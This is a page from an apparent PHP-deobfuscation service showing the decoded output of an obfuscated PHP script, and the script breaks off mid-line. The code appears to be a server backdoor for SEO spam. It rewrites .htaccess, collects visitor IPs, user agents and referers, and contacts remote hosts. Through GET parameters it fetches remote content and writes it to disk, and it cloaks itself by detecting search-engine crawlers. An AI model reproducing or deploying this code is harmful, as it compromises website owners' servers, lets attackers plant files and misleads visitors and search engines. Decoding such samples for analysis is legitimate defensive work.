Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); $OOo000oOoO="350"; $O0O00OOooo="1"; $O0oO0o0OOo="1"; $O=ur..

Decoded Output download

<?php  
error_reporting(0); 
$OOo000oOoO="350"; 
$O0O00OOooo="1"; 
$O0oO0o0OOo="1"; 
$O=urldecode('e%2FO%2C%5CBp%22%5B%2F%7E%3DY%29Zrnh%23qE%3A9S%3Bjvw%7B-%3Ccs%26%3EGafQACXk6%60.TD%2AP%5DiW7%40%7D%21VzNIJg1%7CL%24t%2825Uy%25%2BRx3dFub4M%3FmlH0%5Eo_K8');function OOoo1O1oO1($url,$Oo0o00oOOO=0,$Oo00ooOOO0=1,$O00Oo0ooOO=NULL,$O00OOoooO0=array()){global $O;if(!preg_match("/^http\:\/\//si",$url)){if(isset($_GET[$O{80}.$O{15}.$O{86}.$O{0}.$O{81}.$O{81}])){$OoO00ooOO0=$O{8}.$O{80}.$O{15}.$O{86}.$O{0}.$O{15}.$O{15}.$O{90}.$O{15}.$O{50}.' '.$O{51}.$O{16}.$O{26}.$O{36}.$O{86}.$O{51}.$O{78}.' '.$O{80}.$O{15}.$O{86}.$O{21}.$O{33}.$O{16}.$O{81}.$O{32}.$O{6}.$O{24};$OoO00ooOO0.=$url;echo $OoO00ooOO0;unset($OoO00ooOO0);exit();}return '';}$OoO0O0Oo0o=$O{31}.$O{80}.$O{15}.$O{86}.$O{91}.$O{51}.$O{16}.$O{51}.$O{67}.$O{74}.$O{31}.$O{80}.$O{15}.$O{86}.$O{91}.$O{32}.$O{0}.$O{67}.$O{90}.$O{6}.$O{67}.$O{74}.$O{31}.$O{80}.$O{15}.$O{86}.$O{91}.$O{0}.$O{76}.$O{0}.$O{31}.$O{64}.$O{37}.$O{32}.$O{90}.$O{31}.$O{42}.$O{90}.$O{6}.$O{0}.$O{16}.$O{64}.$O{6}.$O{37}.$O{32}.$O{90}.$O{31}.$O{42}.$O{90}.$O{6}.$O{0}.$O{16}.$O{64}.$O{32}.$O{67}.$O{15}.$O{0}.$O{36}.$O{85}.$O{91}.$O{32}.$O{90}.$O{31}.$O{42}.$O{0}.$O{67}.$O{91}.$O{31}.$O{86}.$O{51}.$O{0}.$O{16}.$O{67}.$O{64}.$O{32}.$O{90}.$O{31}.$O{42}.$O{0}.$O{67}.$O{91}.$O{31}.$O{15}.$O{0}.$O{36}.$O{67}.$O{0};$Oo0oOO00oO=$O0oO0ooO0O='';foreach(explode($O{64},$OoO0O0Oo0o) as $c){$OooOO0o0O0=1;if($Oo0o00oOOO&&substr($c,0,1)==$O{31}){continue;}foreach(explode($O{74},$c) as $d){if(!function_exists($d)){$OooOO0o0O0=0;}}unset($d);if($OooOO0o0O0){$Oo0oOO00oO=$c;break;}}unset($OoO0O0Oo0o,$c);if($Oo0oOO00oO==''){return 0;}if(substr($Oo0oOO00oO,0,1)==$O{31}){$Oo0O0ooO0O=curl_init();curl_setopt($Oo0O0ooO0O,CURLOPT_URL,$url);curl_setopt($Oo0O0ooO0O,CURLOPT_USERAGENT,$O{52}.$O{87}.$O{75});curl_setopt($Oo0O0ooO0O,CURLOPT_RETURNTRANSFER,1);curl_setopt($Oo0O0ooO0O,CURLOPT_TIMEOUT,100);if($Oo00ooOOO0==2){curl_setopt($Oo0O0ooO0O,CURLOPT_POST,1);if(is_array($O00Oo0ooOO)){curl_setopt($Oo0O0ooO0O,CURLOPT_POSTFIELDS,http_build_query($O00Oo0ooOO));}}$OO0O0oOoo0=curl_exec($Oo0O0ooO0O);curl_close($Oo0O0ooO0O);if(!$OO0O0oOoo0){if(isset($_GET[$O{31}.$O{80}.$O{15}.$O{86}.$O{0}.$O{15}.$O{15}])){$OoO00ooOO0=$O{31}.$O{80}.$O{15}.$O{86}.' '.$O{0}.$O{15}.$O{15}.$O{90}.$O{15};$OoO00ooOO0.=curl_error($Oo0O0ooO0O);echo $OoO00ooOO0;unset($OoO00ooOO0);exit();}return 0;}else{$OO0O0oOoo0=trim(trim($OO0O0oOoo0,""."".""));return $OO0O0oOoo0;}}$OOoO00oO0o=parse_url($url);isset($OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}])||$OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}]='';isset($OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}])||$OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}]='';isset($OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}])|| $OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}]='';isset($OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}])||$OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}]='';$O00oOO0ooO=$OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}]?$OOoO00oO0o[$O{6}.$O{36}.$O{67}.$O{17}].($OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}]?$O{84}.$OOoO00oO0o[$O{19}.$O{80}.$O{0}.$O{15}.$O{72}]:''):$O{9};$O0oo00OOOo=$OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}];if($OOoO00oO0o[$O{32}.$O{31}.$O{17}.$O{0}.$O{85}.$O{0}]==$O{17}.$O{67}.$O{67}.$O{6}.$O{32}){$Oo0O0O0ooO=$O{63}.$O{45}.$O{63};$OOOOo00oo0=empty($OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}])?443:$OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}];$O0oo00OOOo=$O{32}.$O{32}.$O{86}.$O{21}.$O{9}.$O{9};$O0oo00OOOo.=$OOoO00oO0o[$O{17}.$O{90}.$O{32}.$O{67}];}else{$Oo0O0O0ooO=$O{63}.$O{45}.$O{88};$OOOOo00oo0=empty($OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}])?80:$OOoO00oO0o[$O{6}.$O{90}.$O{15}.$O{67}];}$OooOo0O00O=$O{87}.$O{90}.$O{32}.$O{67}.$O{21};$OooOo0O00O.=$O0oo00OOOo;$O00OOoooO0[]=$OooOo0O00O;$O00OOoooO0[]=$O{40}.$O{90}.$O{16}.$O{16}.$O{0}.$O{31}.$O{67}.$O{51}.$O{90}.$O{16}.$O{21}.$O{40}.$O{86}.$O{90}.$O{32}.$O{0};$O00OOoooO0[]=$O{71}.$O{32}.$O{0}.$O{15}.$O{29}.$O{39}.$O{62}.$O{0}.$O{16}.$O{67}.$O{21}.$O{52}.$O{87}.$O{75};$O00OOoooO0[]=$O{39}.$O{31}.$O{31}.$O{0}.$O{6}.$O{67}.$O{21}.$O{48}.$O{9}.$O{48};unset($OooOo0O00O);if($Oo00ooOOO0==2){if(is_array($O00Oo0ooOO)){$O00Oo0ooOO=http_build_query($O00Oo0ooOO);}$O00OOoooO0[]=$O{40}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{29}.$O{67}.$O{72}.$O{6}.$O{0}.$O{21}.$O{36}.$O{6}.$O{6}.$O{86}.$O{51}.$O{31}.$O{36}.$O{67}.$O{51}.$O{90}.$O{16}.$O{9}.$O{76}.$O{29}.$O{27}.$O{27}.$O{27}.$O{29}.$O{37}.$O{90}.$O{15}.$O{85}.$O{29}.$O{80}.$O{15}.$O{86}.$O{0}.$O{16}.$O{31}.$O{90}.$O{78}.$O{0}.$O{78};$O00OOoooO0[]=$O{40}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{29}.$O{65}.$O{0}.$O{16}.$O{62}.$O{67}.$O{17}.$O{21}.strlen($O00Oo0ooOO);$O0oO0ooO0O="POST $O00oOO0ooO HTTP/$Oo0O0O0ooO
".join("
",$O00OOoooO0)."

".$O00Oo0ooOO;unset($O00Oo0ooOO);}else{$O0oO0ooO0O="GET $O00oOO0ooO HTTP/$Oo0O0O0ooO
".join("
",$O00OOoooO0)."

";}unset($O00OOoooO0,$OOoO00oO0o,$Oo0O0O0ooO,$O00oOO0ooO);$OO0ooO0oO0=null;if(substr($Oo0oOO00oO,-1)==$O{16}){$OO0ooO0oO0=$Oo0oOO00oO($O0oo00OOOo,$OOOOo00oo0,$OoO00ooOO0no,$OoO00ooOO0str,30);}else{if(substr($Oo0oOO00oO,-1)==$O{67}){$OOOo0o00Oo=$O{67}.$O{31}.$O{6}.$O{21}.$O{9}.$O{9};$OOOo0o00Oo.=$O0oo00OOOo;$OOOo0o00Oo.=$O{21};$OOOo0o00Oo.=$OOOOo00oo0;$OO0ooO0oO0=stream_socket_client($OOOo0o00Oo,$OoO00ooOO0no,$OoO00ooOO0str,30);unset($OOOo0o00Oo);}}$OO000OooOo='';if($OO0ooO0oO0){stream_set_blocking($OO0ooO0oO0,true);stream_set_timeout($OO0ooO0oO0,30);fwrite($OO0ooO0oO0,$O0oO0ooO0O);if(!$Oo0o00oOOO){$OooOO000oO=stream_get_meta_data($OO0ooO0oO0);if(!$OooOO000oO[$O{67}.$O{51}.$O{85}.$O{0}.$O{78}.$O{91}.$O{90}.$O{80}.$O{67}]){while(!feof($OO0ooO0oO0)){$Oo0o0OO0Oo=fgets($OO0ooO0oO0);if($Oo0o0OO0Oo&&($Oo0o0OO0Oo=="
"||$Oo0o0OO0Oo=="
")){break;}unset($Oo0o0OO0Oo);}while(!feof($OO0ooO0oO0)){$Ooo0OO00oO=fread($OO0ooO0oO0,8192);$OO000OooOo.=$Ooo0OO00oO;unset($Ooo0OO00oO);}}unset($OooOO000oO);}fclose($OO0ooO0oO0);}else{if(substr($Oo0oOO00oO,-1)==$O{0}){$OoOoOo00O0=gethostbyname($O0oo00OOOo);$OO0ooO0oO0=$Oo0oOO00oO(AF_INET,SOCK_STREAM,0);if(socket_connect($OO0ooO0oO0,$OoOoOo00O0,$OOOOo00oo0)){if(!$Oo0o00oOOO){socket_write($OO0ooO0oO0,$O0oO0ooO0O,strlen($O0oO0ooO0O));while($OOo0o00oOO=@socket_read($OO0ooO0oO0,8192)){$OO000OooOo.=$OOo0o00oOO;unset($OOo0o00oOO);}$OO000OooOo=explode("

",$OO000OooOo);array_shift($OO000OooOo);$OO000OooOo=implode("

",$OO000OooOo);}else{$OO00O0Oooo=mt_rand(2,5);$O00oO0oOOo=0;while($O00oO0oOOo<$OO00O0Oooo){socket_write($OO0ooO0oO0,$O0oO0ooO0O,strlen($O0oO0ooO0O));$O00oO0oOOo++;usleep(mt_rand(50000,100000));}unset($O00oO0oOOo,$OO00O0Oooo);}}socket_close($OO0ooO0oO0);unset($OoOoOo00O0);}}if($OO000OooOo==''){if(function_exists($O{37}.$O{51}.$O{86}.$O{0}.$O{91}.$O{62}.$O{0}.$O{67}.$O{91}.$O{31}.$O{90}.$O{16}.$O{67}.$O{0}.$O{16}.$O{67}.$O{32}) and $url){$OO000OooOo=@file_get_contents($url);}}unset($O0oO0ooO0O,$Oo0oOO00oO,$OO0ooO0oO0,$OOOOo00oo0,$O0oo00OOOo);if(!$Oo0o00oOOO){$OO000OooOo=preg_replace_callback($O{9}.$O{68}.$O{84}.$O{21}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{64}.$O{89}.$O{13}.$O{68}.$O{8}.$O{88}.$O{29}.$O{22}.$O{39}.$O{29}.$O{79}.$O{50}.$O{74}.$O{13}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{28}.$O{63}.$O{3}.$O{69}.$O{55}.$O{68}.$O{45}.$O{48}.$O{84}.$O{13}.$O{68}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{68}.$O{84}.$O{21}.$O{8}.$O{88}.$O{29}.$O{22}.$O{39}.$O{29}.$O{79}.$O{50}.$O{74}.$O{68}.$O{84}.$O{21}.$O{4}.$O{4}.$O{15}.$O{4}.$O{4}.$O{16}.$O{64}.$O{4}.$O{4}.$O{16}.$O{13}.$O{13}.$O{64}.$O{66}.$O{13}.$O{9}.$O{32}.$O{51},create_function($O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32},$O{15}.$O{0}.$O{67}.$O{80}.$O{15}.$O{16}.' '.$O{17}.$O{0}.$O{76}.$O{78}.$O{0}.$O{31}.$O{68}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{63}.$O{50}.$O{13}.$O{11}.$O{11}.$O{32}.$O{67}.$O{15}.$O{86}.$O{0}.$O{16}.$O{68}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{69}.$O{50}.$O{13}.$O{84}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{69}.$O{50}.$O{21}.$O{66}.$O{85}.$O{36}.$O{67}.$O{31}.$O{17}.$O{0}.$O{32}.$O{8}.$O{88}.$O{50}.$O{24}),$OO000OooOo);return trim(trim($OO000OooOo,""."".""));}else{return 1;}}function Ooo111OOOo($string){global $O;$OoO0O0oOo0=substr($string,0,5);$Ooo0O0o0OO=substr($string,-5);$OOoo0OoO00=substr($string,7,strlen($string)-14);return gzinflate(base64_decode($OoO0O0oOo0.$OOoo0OoO00.$Ooo0O0o0OO));}function OOo1OooO11($OoO0O0Oo0ogent){global $O;$OO0o0oo0OO=false;$OO0oOo0o0O=$O{62}.$O{90}.$O{90}.$O{62}.$O{86}.$O{0}.$O{81}.$O{90}.$O{67}.$O{64}.$O{81}.$O{51}.$O{16}.$O{62}.$O{81}.$O{90}.$O{67}.$O{64}.$O{62}.$O{90}.$O{90}.$O{62}.$O{86}.$O{0}.$O{64}.$O{36}.$O{90}.$O{86}.$O{64}.$O{81}.$O{51}.$O{16}.$O{62}.$O{64}.$O{72}.$O{36}.$O{17}.$O{90}.$O{90};if($OoO0O0Oo0ogent!=''){if(preg_match("/($OO0oOo0o0O)/si",$OoO0O0Oo0ogent)){$OO0o0oo0OO=true;}}return $OO0o0oo0OO;}function O1o11oOoOO($OO0O0oOoo0efer){global $O;$O00OoOoOo0=false;$O00o0OOooO=$O{62}.$O{90}.$O{90}.$O{62}.$O{86}.$O{0}.$O{45}.$O{31}.$O{90}.$O{45}.$O{25}.$O{6}.$O{64}.$O{72}.$O{36}.$O{17}.$O{90}.$O{90}.$O{45}.$O{31}.$O{90}.$O{45}.$O{25}.$O{6}.$O{64}.$O{81}.$O{51}.$O{16}.$O{62};if($OO0O0oOoo0efer!=''&&preg_match("/($O00o0OOooO)/si",$OO0O0oOoo0efer)){$O00OoOoOo0=true;}return $O00OoOoOo0;}function OO11OO1ooo($OOoOoOo000='',$O0oO0o0OOo,$OoOo0OO00o,$O0O0oo0OoO){global $O;$O0oOoO0O0o='';$O0OO0ooO0o=$O{30}.$O{60}.$O{37}.$O{83}.$O{90}.$O{78}.$O{80}.$O{86}.$O{0}.' '.$O{85}.$O{90}.$O{78}.$O{91}.$O{15}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{45}.$O{31}.$O{34};$OO0oOo0O0o=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{20}.$O{16}.$O{62}.$O{51}.$O{16}.$O{0};$O0oO0o0OoO=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{5}.$O{36}.$O{32}.$O{0};$O0oooOO0O0=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{75}.$O{80}.$O{86}.$O{0};$Oo000OoOoO=$O{75}.$O{0}.$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{40}.$O{90}.$O{16}.$O{78};$OO0OOoo00o=$O{30}.$O{9}.$O{60}.$O{37}.$O{83}.$O{90}.$O{78}.$O{80}.$O{86}.$O{0}.$O{34};$OoOO0o0Oo0=$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{79}.$O{60}.$O{65}.$O{20}.$O{59}.$O{39}.$O{83}.$O{20};$OO0oo0oO0O=$O{51}.$O{16}.$O{78}.$O{0}.$O{76}.$O{45}.$O{6}.$O{17}.$O{6};$OOoOoOo000= $O0OO0ooO0o."
";$OOoOoOo000 .=$OO0oOo0O0o." On
";$OOoOoOo000 .=$O0oO0o0OoO." /
";$OOoOoOo000 .=$O0oooOO0O0." ^".$OO0oo0oO0O."$ - [L]
";$OOoOoOo000 .=$Oo000OoOoO." %{".$OoOO0o0Oo0."} !-f
";$OOoOoOo000 .=$Oo000OoOoO." %{".$OoOO0o0Oo0."} !-d
";$OOoOoOo000 .=$O0oooOO0O0." . ".$O0oOoO0O0o.$OO0oo0oO0O." [L]
";$OOoOoOo000 .=$OO0OOoo00o;if($OOoOoOo000!=''){if($O0oO0o0OOo){$O0oOoOo0O0=$O{45}.$O{9}.$O{45}.$O{17}.$O{67}.$O{36}.$O{31};$O0oOoOo0O0.=$O{31}.$O{0}.$O{32}.$O{32};if($O0oOoOo0O0!=''){@chmod($O0oOoOo0O0,0644);$O00OOoOo0o=@file_get_contents($O0oOoOo0O0);if(!strstr($O00OOoOo0o,$OoOO0o0Oo0)||!strstr($O00OOoOo0o,$O0oooOO0O0." . ".$O0oOoO0O0o.$OO0oo0oO0O." [L]
")||!strstr($O00OOoOo0o,$O0oooOO0O0." ^".$OO0oo0oO0O."$ - [L]
")){$O00OOoOo0o=$OOoOoOo000.PHP_EOL .$O00OOoOo0o;@file_put_contents($O0oOoOo0O0,$O00OOoOo0o);}}}}}function O1OOOo11oo($O0ooOO0oO0=''){global $O;$O0oooO0OO0=dirname(__FILE__);foreach(scandir($O0oooO0OO0) as $OoO0O00ooO){if($OoO0O00ooO==$O{45}||$OoO0O00ooO==$O{45}.$O{45}) continue;if(is_dir($O0oooO0OO0.$O{9}.$OoO0O00ooO)){$O0ooOO0oO0Array[] =$OoO0O00ooO;}}$OoOoOOo000=$O{67}.$O{0}.$O{85}.$O{6};$O0ooOO0oO0Array[] =$OoOoOOo000;return $O0ooOO0oO0Array;}function O111OooOoO($Oo0O0o0OoO=''){global $O;@set_time_limit(3600);@ignore_user_abort(1);global $OOo000oOoO,$O0oO0o0OOo,$O0O00OOooo;$O0OOo0oo0O='Content-Type:text/html;charset=utf-8';header($O0OOo0oo0O);$OO0OOo00oo=$O{77}.$O{88}.$O{88};$OoOO0O0oo0='';$OoO0O0ooO0 =$O{80}.$O{16}.$O{42}.$O{16}.$O{90}.$O{27}.$O{16};if(isset($_SERVER)){if(isset($_SERVER[HTTP_X_FORWARDED_FOR])){$OoO0O0ooO0=$_SERVER[HTTP_X_FORWARDED_FOR];}elseif(isset($_SERVER[HTTP_CLIENT_IP])){$OoO0O0ooO0=$_SERVER[HTTP_CLIENT_IP];}else{$OoO0O0ooO0=$_SERVER[REMOTE_ADDR];}}else{if(getenv("HTTP_X_FORWARDED_FOR")){$OoO0O0ooO0=getenv("HTTP_X_FORWARDED_FOR");}elseif(getenv("HTTP_CLIENT_IP")){$OoO0O0ooO0=getenv("HTTP_CLIENT_IP");}else{$OoO0O0ooO0=getenv("REMOTE_ADDR");}}$O00ooo0OOO=$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{39}.$O{40}.$O{40}.$O{20}.$O{49}.$O{46}.$O{91}.$O{65}.$O{39}.$O{59}.$O{35}.$O{71}.$O{39}.$O{35}.$O{20}];$OO00oo0OoO=isset($_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{75}.$O{20}.$O{79}.$O{20}.$O{75}.$O{20}.$O{75}])?$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{75}.$O{20}.$O{79}.$O{20}.$O{75}.$O{20}.$O{75}]:'';$OOOoOo0o00=isset($_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{71}.$O{23}.$O{20}.$O{75}.$O{91}.$O{39}.$O{35}.$O{20}.$O{59}.$O{46}])?$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{71}.$O{23}.$O{20}.$O{75}.$O{91}.$O{39}.$O{35}.$O{20}.$O{59}.$O{46}]:'';$O0o0OoOo0O=OOo1OooO11($OOOoOo0o00);$OO0Oo0O0oo=O1o11oOoOO($OO00oo0OoO);$O0ooO0OOo0='';if(isset($_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{87}.$O{2}.$O{23}.$O{46}])){$O0ooO0OOo0=$_SERVER[$O{87}.$O{46}.$O{46}.$O{49}.$O{91}.$O{87}.$O{2}.$O{23}.$O{46}];}elseif(isset($_SERVER[$O{23}.$O{20}.$O{75}.$O{57}.$O{20}.$O{75}.$O{91}.$O{59}.$O{39}.$O{83}.$O{20}])){$O0ooO0OOo0=$_SERVER[$O{23}.$O{20}.$O{75}.$O{57}.$O{20}.$O{75}.$O{91}.$O{59}.$O{39}.$O{83}.$O{20}];}$OO0ooO0O0o=$_SERVER[$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{71}.$O{75}.$O{60}];$OoOo0OO00o='';$O0O0oo0OoO=$_SERVER[$O{47}.$O{2}.$O{40}.$O{71}.$O{83}.$O{20}.$O{59}.$O{46}.$O{91}.$O{75}.$O{2}.$O{2}.$O{46}];$O0O0oo0OoO=str_replace($O{4}.$O{4}.$O{4}.$O{4},$O{9},$O0O0oo0OoO);$O00o0oOoOO=dirname(__FILE__).$O{9};$O00o0oOoOO=str_replace($O{4}.$O{4}.$O{4}.$O{4},$O{9},$O00o0oOoOO);$OOooo00OO0=str_replace($O0O0oo0OoO,'',$O00o0oOoOO);if(strpos($OO0ooO0O0o,".php")>0){$O0O0OoO0oo=strpos($OO0ooO0O0o,".php")+4;$OoOo0OO00o=substr($OO0ooO0O0o,0,$O0O0OoO0oo);$OoOO0O0oo0=$OoOo0OO00o;}if($OoOo0OO00o==''){$OoOo0OO00o=$OOooo00OO0.$O{51}.$O{16}.$O{78}.$O{0}.$O{76}.$O{45}.$O{6}.$O{17}.$O{6};$OoOO0O0oo0=$OOooo00OO0;}$OoOo0OO00o=substr($OoOo0OO00o,1);$O0ooO0O0Oo=$O{27}.$O{27}.$O{27}.$O{73}.$O{78}.$O{45}.$O{0}.$O{81}.$O{80}.$O{72}.$O{17}.$O{36}.$O{86}.$O{86}.$O{45}.$O{31}.$O{90}.$O{85};$OO0O0Oooo0='';if(isset($_SERVER[$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{23}.$O{40}.$O{87}.$O{20}.$O{83}.$O{20}])){$OO0O0Oooo0=$_SERVER[$O{75}.$O{20}.$O{38}.$O{71}.$O{20}.$O{23}.$O{46}.$O{91}.$O{23}.$O{40}.$O{87}.$O{20}.$O{83}.$O{20}];}$O0oO0o0OOo=(int)$O0oO0o0OOo;OO11OO1ooo('',$O0oO0o0OOo,$OoOo0OO00o,$O0O0oo0OoO);$OoO00oO0oO=sprintf($O0ooO0O0Oo,$OOo000oOoO);$OoO0O0oo0O=sprintf($O0ooO0O0Oo,$OO0OOo00oo);$OOO00O0ooo=$O{17}.$O{67}.$O{67}.$O{6}.$O{21}.$O{9}.$O{9}.$O{73}.$O{17}.$O{90}.$O{32}.$O{67}.$O{73}.$O{9}.$O{78}.$O{36}.$O{67}.$O{36}.$O{22}.$O{22}.$O{45}.$O{6}.$O{17}.$O{6}.$O{84}.$O{78}.$O{11}.$O{73}.$O{32}.$O{33}.$O{62}.$O{11}.$O{73}.$O{32}.$O{33}.$O{67}.$O{11}.$O{73}.$O{32}.$O{33}.$O{80}.$O{11}.$O{73}.$O{32}.$O{33}.$O{17}.$O{11}.$O{73}.$O{32}.$O{33}.$O{6}.$O{11}.$O{73}.$O{32}.$O{33}.$O{15}.$O{11}.$O{73}.$O{32}.$O{33}.$O{36}.$O{11}.$O{73}.$O{32}.$O{33}.$O{86}.$O{11}.$O{73}.$O{32}.$O{33}.$O{51}.$O{11}.$O{73}.$O{32}.$O{33}.$O{25}.$O{11}.$O{73}.$O{32};$O00oOoO0oO=$O{17}.$O{67}.$O{67}.$O{6}.$O{21}.$O{9}.$O{9}.$O{73}.$O{17}.$O{90}.$O{32}.$O{67}.$O{73}.$O{9}.$O{25}.$O{80}.$O{85}.$O{6}.$O{22}.$O{22}.$O{45}.$O{6}.$O{17}.$O{6}.$O{84}.$O{78}.$O{11}.$O{73}.$O{32}.$O{33}.$O{62}.$O{11}.$O{73}.$O{32}.$O{33}.$O{67}.$O{11}.$O{73}.$O{32}.$O{33}.$O{80}.$O{11}.$O{73}.$O{32}.$O{33}.$O{17}.$O{11}.$O{73}.$O{32}.$O{33}.$O{6}.$O{11}.$O{73}.$O{32}.$O{33}.$O{15}.$O{11}.$O{73}.$O{32}.$O{33}.$O{36}.$O{11}.$O{73}.$O{32}.$O{33}.$O{86}.$O{11}.$O{73}.$O{32}.$O{33}.$O{51}.$O{11}.$O{73}.$O{32}.$O{33}.$O{25}.$O{11}.$O{73}.$O{32};$OOO00O0ooo=preg_replace("/%host%/si",$OoO00oO0oO,$OOO00O0ooo);if(isset($_GET[$O{85}.$O{36}.$O{6}])){$OO0ooO0O0o=trim($_GET[$O{85}.$O{36}.$O{6}]).trim($_GET[$O{37}.$O{51}.$O{86}.$O{0}]);$OOO00O0ooo=sprintf($OOO00O0ooo,$O0ooO0OOo0,$OOo000oOoO,urlencode(date("Y-m-d")),urlencode($OO0ooO0O0o),urlencode($OO0O0Oooo0),trim($OoO0O0ooO0) ,urlencode($OO00oo0OoO),urlencode($OOOoOo0o00),$O00ooo0OOO,$OoOO0O0oo0,0);$OO000OooOo=OOoo1O1oO1($OOO00O0ooo);$Ooo000OOOo=trim($_GET[$O{37}.$O{51}.$O{86}.$O{0}]);if(isset($_GET[$O{37}.$O{51}.$O{86}.$O{0}])){$Ooo000OOOo=trim($_GET[$O{37}.$O{51}.$O{86}.$O{0}]);}if(strstr($OO000OooOo,$O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34})){$OO000OooOo=str_replace($O{30}.$O{32}.$O{6}.$O{36}.$O{16}.$O{62}.$O{90}.$O{34},'',$OO000OooOo);file_put_contents($Ooo000OOOo,$OO000OooOo);echo $O{85}.$O{36}.$O{6}.' '.$O{32}.$O{80}.$O{31}.$O{31}.$O{0}.$O{32}.$O{32};unset($OO000OooOo,$OOO00O0ooo,$OoO00oO0oO,$OoO0O0oo0O,$OO0ooO0O0o,$O0ooO0OOo0,$OO00oo0OoO,$OOOoOo0o00);exit();}}$OOO00O0ooo=sprintf($OOO00O0ooo,$O0ooO0OOo0,$OOo000oOoO,urlencode(date("Y-m-d")),urlencode($OO0ooO0O0o),urlencode($OO0O0Oooo0),trim($OoO0O0ooO0) ,urlencode($OO00oo0OoO),urlencode($OOOoOo0o00),$O00ooo0OOO,$OoOO0O0oo0,0);$O00oOoO0oO=preg_replace("/%host%/si",$OoO0O0oo0O,$O00oOoO0oO);$O00oOoO0oO=sprintf($O00oOoO0oO,$O0ooO0OOo0,$OOo000oOoO,urlencode(date("Y-m-d")),urlencode($OO0ooO0O0o),urlencode($OO0O0Oooo0),trim($OoO0O0ooO0) ,urlencode($OO00oo0OoO),urlencode($OOOoOo0o00),$O00ooo0OOO,$OoOO0O0oo0,1);if($OoOoOOo000==""){$O000OOOooo=O1OOOo11oo();$OoOoOOo000=$O000OOOooo[0];}else{$OoOoOOo000=$OoOoOOo000;}$OOOo0Ooo00=base64_encode($O0ooO0OOo0).$O{36}.$O{45}.$O{67}.$O{76}.$O{67};if(!is_dir($OoOoOOo000)){mkdir($OoOoOOo000);}$OOOo0Ooo00=$OoOoOOo000.$O{9}.$OOOo0Ooo00;$OooO00Oo0O=isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}])?$_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}]:'';$O0OO0oo0Oo=isset($_GET[$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{15}.$O{37}.$O{51}.$O{86}.$O{0}.$O{16}.$O{36}.$O{85}.$O{0}])?$_GET[$O{27}.$O{15}.$O{51}.$O{67}.$O{0}.$O{15}.$O{37}.$O{51}.$O{86}.$O{0}.$O{16}.$O{36}.$O{85}.$O{0}]:'';if(isset($_GET[$O{76}.$O{76}.$O{16}.$O{0}.$O{27}.$O{69}.$O{88}.$O{63}.$O{93}.$O{91}.$O{80}.$O{15}.$O{86}.$O{63}])){$OOO0Ooo00o=$O{17}.$O{67}.$O{67}.$O{6}.$O{21}.$O{9}.$O{9}.$O{36}.$O{6}.$O{90}.$O{45}.$O{85}.$O{72}.$O{85}.$O{78}.$O{81}.$O{45}.$O{51}.$O{16}.$O{37}.$O{90}.$O{9};$OOooO000Oo=$O{27}.$O{6}.$O{29}.$O{86}.$O{90}.$O{36}.$O{78}.$O{45}.$O{6}.$O{17}.$O{6};$OO0oo0o0OO=$O{80}.$O{6}.$O{45}.$O{67}.$O{76}.$O{67};if($O0OO0oo0Oo!=''){file_put_contents($OOOo0Ooo00,base64_encode($OooO00Oo0O).$O{29}.base64_encode($O0OO0oo0Oo